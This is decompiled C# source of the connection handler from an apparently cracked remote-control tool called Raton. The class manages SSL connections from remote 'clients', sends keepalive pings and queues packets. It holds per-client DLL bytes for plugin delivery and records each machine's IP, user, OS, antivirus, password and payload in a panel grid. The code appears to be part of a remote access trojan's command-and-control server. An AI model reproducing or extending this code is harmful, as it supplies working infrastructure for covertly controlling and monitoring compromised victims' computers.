// Decompiled with JetBrains decompiler // Type: Server.Connection.SillyClient // Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null // MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7 // Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe using Stuff; using System; using System.Buffers; using System.Collections.Concurrent; using System.IO; using System.Linq; using System.Net.Security; using System.Net.Sockets; using System.Runtime.CompilerServices; using System.Threading; using System.Threading.Tasks; using WpfApp1; #nullable disable namespace Server.Connection; public sealed class SillyClient { public const int OneMb = 1048576 /*0x100000*/; public const int MaxPacketSize = 5242880 /*0x500000*/; private const int WorkerCount = 6; private const int QueueCap = 5000; private const int IdleMs = 120000; private const int MaxPPS = 1000; private int pingStarted; private CancellationTokenSource pingCts; private readonly TcpClient tcpClient; private readonly SslStream sslStream; private readonly CancellationTokenSource cts = new CancellationTokenSource(); private readonly SemaphoreSlim sendLock = new SemaphoreSlim(1, 1); private readonly byte[] sizeBuf = new byte[4]; private readonly Timer idleTimer; private readonly BlockingCollection queue = new BlockingCollection((IProducerConsumerCollection) new ConcurrentQueue(), 5000); private int disconnectedFlag; private int packetsThisSecond; private int rateWindowStart; public readonly ConcurrentDictionary EndSent = new ConcurrentDictionary(); public readonly ConcurrentDictionary LastChunkSent = new ConcurrentDictionary(); public readonly ConcurrentDictionary RetryCount = new ConcurrentDictionary(); public readonly ConcurrentDictionary ChunksAcked = new ConcurrentDictionary(); public readonly ConcurrentDictionary TotalChunksById = new ConcurrentDictionary(); public readonly ConcurrentDictionary DllBytesById = new ConcurrentDictionary(); public readonly ConcurrentDictionary DllHashById = new ConcurrentDictionary(); public string uid { get; set; } public string password { get; set; } public ClientRow ClientModel { get; set; } public event Action Disconnected; public SillyClient(TcpClient tcp, SslStream ssl) { this.tcpClient = tcp; this.sslStream = ssl; this.tcpClient.NoDelay = true; SillyClient.SetKeepAlive(this.tcpClient.Client, 25000U, 25000U); this.rateWindowStart = Environment.TickCount; this.idleTimer = new Timer((TimerCallback) (_ => this.Disconnect()), (object) null, 120000, -1); Task.Run(new Func(this.ReceiveLoop)); for (int index = 0; index < 6; ++index) Task.Run(new Func(this.WorkerLoop)); } public void EnsurePingLoop() { if (Interlocked.Exchange(ref this.pingStarted, 1) != 0) return; this.pingCts = new CancellationTokenSource(); Task.Run((Func) (() => this.PingLoop(this.pingCts.Token))); } private async Task PingLoop(CancellationToken token) { try { while (!token.IsCancellationRequested) { ConfiguredTaskAwaitable configuredTaskAwaitable = Task.Delay(20000, token).ConfigureAwait(false); await configuredTaskAwaitable; if (!this.isConnected()) break; Pack pack = new Pack(); pack.SetString("Packet", "Ping"); pack.SetString("Message", "From Server: Hello!"); configuredTaskAwaitable = this.Send(pack.Pacc()).ConfigureAwait(false); await configuredTaskAwaitable; } } catch { } finally { Interlocked.Exchange(ref this.pingStarted, 0); } } private static void SetKeepAlive(Socket socket, uint timeMs, uint intervalMs) { byte[] optionInValue = new byte[12]; BitConverter.GetBytes(1U).CopyTo((Array) optionInValue, 0); BitConverter.GetBytes(timeMs).CopyTo((Array) optionInValue, 4); BitConverter.GetBytes(intervalMs).CopyTo((Array) optionInValue, 8); socket.IOControl(IOControlCode.KeepAliveValues, optionInValue, (byte[]) null); } private async Task ReceiveLoop() { SillyClient sillyClient1 = this; try { while (!sillyClient1.cts.IsCancellationRequested) { await sillyClient1.ReadExact(sillyClient1.sizeBuf, 4).ConfigureAwait(false); int len = BitConverter.ToInt32(sillyClient1.sizeBuf, 0); if (len <= 0 || len > 5242880 /*0x500000*/) throw new IOException($"Invalid packet size: {len}"); int tickCount = Environment.TickCount; if (tickCount - sillyClient1.rateWindowStart >= 1000) { sillyClient1.rateWindowStart = tickCount; sillyClient1.packetsThisSecond = 0; } SillyClient sillyClient2 = sillyClient1; int num1 = sillyClient1.packetsThisSecond + 1; int num2 = num1; sillyClient2.packetsThisSecond = num2; if (num1 > 1000) throw new IOException("Rate limit exceeded"); MainWindow form2 = MainWindow.form2; if (form2 != null) Interlocked.Add(ref form2.received, (long) len); byte[] rented = ArrayPool.Shared.Rent(len); try { await sillyClient1.ReadExact(rented, len).ConfigureAwait(false); byte[] dst = new byte[len]; Buffer.BlockCopy((Array) rented, 0, (Array) dst, 0, len); sillyClient1.idleTimer.Change(120000, -1); if (!sillyClient1.queue.IsAddingCompleted) { if (!sillyClient1.queue.TryAdd(dst, 2000)) throw new IOException("Packet queue saturated"); } } finally { ArrayPool.Shared.Return(rented); } rented = (byte[]) null; } } catch (OperationCanceledException ex) { } catch { await sillyClient1.Disconnect().ConfigureAwait(false); } finally { try { sillyClient1.queue.CompleteAdding(); } catch { } } } private Task WorkerLoop() { return Task.Run((Func) (async () => { SillyClient sillyClient = this; try { foreach (byte[] consuming in sillyClient.queue.GetConsumingEnumerable(sillyClient.cts.Token)) { try { await new HandlePacket() { SillyClient = sillyClient, packet = consuming }.Run((object) null).ConfigureAwait(false); } catch (Exception ex) { Console.WriteLine(ex.Message); } } } catch (OperationCanceledException ex) { } catch (Exception ex) { MainWindow.form2?.AddErrorLog((object) $"Worker fatal ({sillyClient.uid}): {ex.Message}"); } })); } private async Task ReadExact(byte[] buffer, int length) { int num; using (CancellationTokenSource timeoutCts = new CancellationTokenSource(30000)) { using (CancellationTokenSource linked = CancellationTokenSource.CreateLinkedTokenSource(this.cts.Token, timeoutCts.Token)) { for (int read = 0; read < length; read += num) { num = await this.sslStream.ReadAsync(buffer, read, length - read, linked.Token).ConfigureAwait(false); if (num <= 0) throw new IOException("Remote endpoint closed"); } } } } public async Task Send(byte[] data) { if (this.disconnectedFlag == 1 || data == null || data.Length == 0) return; await this.sendLock.WaitAsync().ConfigureAwait(false); try { using (CancellationTokenSource timeoutCts = new CancellationTokenSource(30000)) { using (CancellationTokenSource linked = CancellationTokenSource.CreateLinkedTokenSource(this.cts.Token, timeoutCts.Token)) { MainWindow stats = MainWindow.form2; byte[] size = BitConverter.GetBytes(data.Length); await this.sslStream.WriteAsync(size, 0, size.Length, linked.Token).ConfigureAwait(false); if (stats != null) Interlocked.Add(ref stats.sent, (long) size.Length); int chunk; for (int offset = 0; offset < data.Length; offset += chunk) { chunk = Math.Min(65536 /*0x010000*/, data.Length - offset); await this.sslStream.WriteAsync(data, offset, chunk, linked.Token).ConfigureAwait(false); if (stats != null) Interlocked.Add(ref stats.sent, (long) chunk); } stats = (MainWindow) null; size = (byte[]) null; } } } catch { await this.Disconnect().ConfigureAwait(false); } finally { this.sendLock.Release(); } } public Task Disconnect() => this.DisconnectInternal(); private async Task DisconnectInternal() { SillyClient sillyClient = this; if (Interlocked.Exchange(ref sillyClient.disconnectedFlag, 1) != 0) return; try { sillyClient.pingCts?.Cancel(); } catch { } try { sillyClient.idleTimer?.Dispose(); } catch { } try { sillyClient.queue.CompleteAdding(); } catch { } try { sillyClient.cts.Cancel(); } catch { } try { sillyClient.sslStream?.Dispose(); } catch { } try { sillyClient.tcpClient?.Dispose(); } catch { } await sillyClient.UpdateUI().ConfigureAwait(false); Action disconnected = sillyClient.Disconnected; if (disconnected == null) return; disconnected(sillyClient); } private Task UpdateUI() { MainWindow panel = MainWindow.form2; return panel == null || this.ClientModel == null ? Task.CompletedTask : panel.Dispatcher.InvokeAsync((Action) (() => { try { ClientStorage.Add(new StoredClient() { UID = this.uid, Password = this.password, IP = this.ClientModel.Client, Group = this.ClientModel.Tag, UserMachine = this.ClientModel.User, OS = this.ClientModel.OS, Version = this.ClientModel.Version, Executing = this.ClientModel.Running, AV = this.ClientModel.AV, Status = this.ClientModel.Status, Clock = this.ClientModel.Date, Payload = this.ClientModel.Payload, Country = (string) null }); this.ClientModel.Status = "Disconnected"; panel.ClientsGrid.Items.Refresh(); panel.AddErrorLog((object) $"Client {this.ClientModel.Client} disconnected"); int num1 = panel.Clients.Count((Func) (c => c.Status == "Connected")); int num2 = panel.Clients.Count((Func) (c => c.Status == "Disconnected")); panel.StatOnline.Text = num1.ToString(); panel.StatOffline.Text = num2.ToString(); } catch { } })).Task; } public bool isConnected() { if (this.disconnectedFlag != 0) return false; TcpClient tcpClient = this.tcpClient; return tcpClient != null && tcpClient.Connected; } }